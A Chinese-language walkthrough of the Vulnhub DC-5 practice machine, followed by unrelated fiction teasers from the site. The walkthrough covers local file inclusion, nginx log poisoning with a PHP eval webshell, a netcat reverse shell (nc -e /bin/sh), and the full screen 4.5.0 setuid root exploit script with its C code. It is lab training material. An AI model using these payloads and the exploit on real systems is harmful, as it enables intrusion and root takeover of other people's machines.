Vulnhub靶机入门系列DC:5

DC-5

题目描述:

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it **is** there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will **hopefully** provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.

描述中说到something that changes with a refresh of a page(随着页面刷新而改变的东西),这里我们留意一下。并且靶机只有一个flag

知识点总结:

​ ①端口扫描(熟悉常用的几个端口是哪个服务)

​ ②文件包含漏洞

​ ③利用文件包含写入shell

​ ④screen提权

1.使用命令列出局域网内所有主机

arp-scan -l

image

获得目标主机IP:192.168.2.118

2.使用nmap扫描目标主机查看开放端口

root@kali:~#nmap -sV -p- 192.168.2.118 
参数说明:                
        -sV 用来扫描目标主机和端口上运行的软件的版本
        -p 80 指定80端口
        -p- 扫描0-65535全部端口
image

可以看到开放了80端口,代表有web服务,直接访问

常用端口参考链接

3.访问IP查看web内容

image

在contact模块发现了留言板的功能,随便输入测试一下

image

看到请求被提交到了thankyou.php,并且有参数,为GET方式传参。从题目描述中我们也知道提示到了刷新,我们刷新下页面看下

image

被圈住的地方每当刷新一次都会改变,有此我们可以联想到可能有文件包含漏洞

我们现在先扫一下目录看一下是哪个文件被包含进来

使用DirBuster扫描目录

image

可以发现有一个footer.php 访问一下正好验证文件包含的漏洞

image

4.测试文件包含参数

那么我们现在就要确定文件包含的参数是哪一个,一般page ,file,filename用的比较多,我们可以试一下,如果不是我们也可以用kali里边自带的字典进行fuzz

image

由此,我们可以确定参数为file

我们现在可以对文件进行读取了,但是我们的目的是获取shell,如果只读取文件是无法完成的,我们需要往里边写东西,于是可以想到利用日志文件,将shell写入日志文件 然后进行文件包含

image

可以看到网站是Nginx的,Nginx 的日志默认路径是

/var/log/nginx/error.log

/var/log/nginx/access.log

我们也可以用过FuzzDB提供的字典进行爆破日志的位置字典链接

image

有了日志文件位置,接下来就要往日志文件写一句话木马

5.写入一句话木马

?file=<?php @eval($_POST[123]);?>

image

查看日志文件

image

可以看到一句话木马已经被写进日志文件了

使用蚁剑进行连接

image

6.我们用nc反弹一个shell到我们的kali机

​ 首先在kali机上nc -nlvp 1234

​ 然后使用 nc -e /bin/sh IP port 来反弹

image

因为这个shell不是很稳定,我们用python换一个shell

python -c 'import pty; pty.spawn("/bin/bash")'

7.接下来进行提权

​ 首先我们要查找目前用户有什么root权限的命令(下边两行命令都可以查询)

find / -user root -perm -4000 -print 2>/dev/null         

find / -perm -u=s -type f 2>/dev/null      

find / -user root -perm -4000 -exec ls -ldb {} \ ;
image

一般可以用来SUID提权的有

Nmap
Vim
find
Bash
More
Less
Nano
cp

但是我们发现可用的里边没有,而且有一个screen-4.5.0的奇怪的东西,百度查看一下可以知道这个命令可以用来提权

我们用searchsploit搜索一下漏洞利用脚本

searchsploit screen 4.5.0
image

我们用第一个41154.sh

拷贝过来

cp /usr/share/exploitdb/exploits/linux/local/41154.sh  41154.sh

直接上传这个脚本执行不了

查看一下脚本如何利用

cat 41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

第一步

​ 将第一步分的c代码放入libhax.c中 然后进行编译

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

第二步

​ 将第二部分c代码放入rootshell.c中进行编译

gcc -o /tmp/rootshell /tmp/rootshell.c

第三步

​ 通过nc将文件传输到目标机的tmp文件夹,因为tmp文件夹的权限一般很大,或者也可以直接用蚁剑传输

kali:
nc -nlvp 1234 < libhax.so
nc -nlvp 1234 < rootshell
目标机:
nc 192.168.2.135 1234 > libhax.so
nc 192.168.2.135 1234 > rootshell
image

第四步

我们按照脚本里边的命令一步一步执行就可以了

$cd /etc
$umask 000
$screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
$screen -ls
$/tmp/rootshell

提权成功

在root目录下找到flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 141,930评论 1 299
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 60,888评论 1 255
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 93,606评论 0 211
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 40,848评论 0 175
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 48,544评论 1 253
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 38,671评论 1 173
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 30,312评论 2 267
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,112评论 0 165
  • 想象着我的养父在大火中拼命挣扎,窒息,最后皮肤化为焦炭。我心中就已经是抑制不住地欢快,这就叫做以其人之道,还治其人...
    爱写小说的胖达阅读 28,899评论 6 229
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 32,451评论 0 213
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,221评论 2 213
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 30,541评论 1 225
  • 白月光回国,霸总把我这个替身辞退。还一脸阴沉的警告我。[不要出现在思思面前, 不然我有一百种方法让你生不如死。]我...
    爱写小说的胖达阅读 24,196评论 0 31
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,079评论 2 213
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 31,448评论 3 204
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,597评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 25,969评论 0 164
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 33,451评论 2 230
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 33,523评论 2 229

推荐阅读更多精彩内容

  • 标签:本地文件包含(LFI)、FUZZ、PHP伪协议、nginx日志文件写一句话、反弹shell、screen提权...
    z1挂东南阅读 1,272评论 0 1
  • DC-6 题目描述 描述中说到和之前一样只有一个Flag,并且需要配置一下HOSTS,且给了提示 知识点总结 ​ ...
    Const_L阅读 663评论 0 1
  • 实验环境 kali2020版本: ip 172.25.0.69DC5: MAC 00:0c:29:b2:15:58...
    xioooZorro阅读 809评论 0 1
  • 看更多:我的博客 Vulnhub 简介 Vulnhub是一个提供各种漏洞环境的靶场平台,大部分环境是做好的虚拟机镜...
    简言之_阅读 5,043评论 0 3
  • 标签:SMB共享、本地文件包含、邮件投毒、linux提权 0x00 环境准备 下载地址:https://www.v...
    z1挂东南阅读 1,276评论 0 1